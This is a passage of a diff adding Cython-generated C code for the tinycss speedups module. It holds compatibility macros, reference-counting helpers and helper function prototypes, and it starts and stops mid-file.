PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) +#endif +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t PyInt_AsLong +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) +#else + #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) +#endif +#if PY_VERSION_HEX >= 0x030500B1 +#define __Pyx_PyAsyncMethodsStruct PyAsyncMethods +#define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) +#elif CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; +} __Pyx_PyAsyncMethodsStruct; +#define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) +#else +#define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) + +#ifndef CYTHON_INLINE + #if defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#if defined(WIN32) || defined(MS_WINDOWS) + #define _USE_MATH_DEFINES +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + + +#define __PYX_ERR(f_index, lineno, Ln_error) \ +{ \ + __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ +} + +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif + +#ifndef __PYX_EXTERN_C + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__tinycss__speedups +#define __PYX_HAVE_API__tinycss__speedups +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#ifdef PYREX_WITHOUT_ASSERTIONS +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) && defined (_M_X64) + #define __Pyx_sst_abs(value) _abs64(value) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +#define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#if PY_MAJOR_VERSION < 3 +static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) +{ + const Py_UNICODE *u_end = u; + while (*u_end++) ; + return (size_t)(u_end - u - 1); +} +#else +#define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen +#endif +#define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) +#define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +#define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +#if CYTHON_COMPILING_IN_CPYTHON +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ + +static PyObject *__pyx_m; +static PyObject *__pyx_d; +static PyObject *__pyx_b; +static PyObject *__pyx_empty_tuple; +static PyObject *__pyx_empty_bytes; +static PyObject *__pyx_empty_unicode; +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm= __FILE__; +static const char *__pyx_filename; + + +static const char *__pyx_f[] = { + "tinycss/speedups.pyx", +}; + +/*--- Type declarations ---*/ +struct __pyx_obj_7tinycss_8speedups_CToken; +struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr; + +/* "tinycss/speedups.pyx":25 + * + * + * cdef class CToken: # <<<<<<<<<<<<<< + * """A token built by the Cython speedups. Identical to + * :class:`~.token_data.Token`. + */ +struct __pyx_obj_7tinycss_8speedups_CToken { + PyObject_HEAD + PyObject *type; + PyObject *_as_css; + PyObject *value; + PyObject *unit; + Py_ssize_t line; + Py_ssize_t column; +}; + + +/* "tinycss/speedups.pyx":22 + * + * COMPILED_TOKEN_INDEXES = dict( + * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< + * + * + */ +struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr { + PyObject_HEAD + PyObject *__pyx_v_i; + PyObject *__pyx_v_name; + PyObject *__pyx_v_regexp; +}; + + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, int); + void (*DECREF)(void*, PyObject*, int); + void (*GOTREF)(void*, PyObject*, int); + void (*GIVEREF)(void*, PyObject*, int); + void* (*SetupContext)(const char*, int, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) +#endif + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) + #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* GetModuleGlobalName.proto */ +static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* PyIntBinop.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ + const char* function_name); + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* PyUnicodeContains.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_ContainsTF(PyObject* substring, PyObject* text, int eq) { + int result = PyUnicode_Contains(text, substring); + return unlikely(result < 0) ? result : (result == (eq == Py_EQ)); +} + +/* UnicodeAsUCS4.proto */ +static CYTHON_INLINE Py_UCS4 __Pyx_PyUnicode_AsPy_UCS4(PyObject*); + +/* object_ord.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Ord(c)\ + (likely(PyUnicode_Check(c)) ? (long)__Pyx_PyUnicode_AsPy_UCS4(c) : __Pyx__PyObject_Ord(c)) +#else +#define __Pyx_PyObject_Ord(c) __Pyx__PyObject_Ord(c) +#endif +static long __Pyx__PyObject_Ord(PyObject* c); + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectCallNoArg.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); +#else +#define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) +#endif + +/* None.proto */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); + +/* PySequenceContains.proto */ +static CYTHON_INLINE int __Pyx_PySequence_ContainsTF(PyObject* item, PyObject* seq, int eq) { + int result = PySequence_Contains(seq, item); + return unlikely(result < 0) ? result : (result == (eq == Py_EQ)); +} + +/* SliceObject.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetSlice( + PyObject* obj, Py_ssize_t cstart, Py_ssize_t cstop, + PyObject** py_start, PyObject** py_stop, PyObject** py_slice, + int has_cstart, int has_cstop, int wraparound); + +/* ListAppend.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE int __Pyx_PyList_Append(PyObject* list, PyObject* x) { + PyListObject* L = (PyListObject*) list; + Py_ssize_t len = Py_SIZE(list); + if (likely(L->allocated > len) & likely(len > (L->allocated >> 1))) { + Py_INCREF(x); + PyList_SET_ITEM(list, len, x); + Py_SIZE(list) = len+1; + return 0; + } + return PyList_Append(list, x); +} +#else +#define __Pyx_PyList_Append(L,x) PyList_Append(L,x) +#endif + +/* IncludeStringH.proto */ +#include + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* CodeObjectCache.proto */ +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* FetchCommonType.proto */ +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); + +/* PyThreadStateGet.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* SwapException.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE 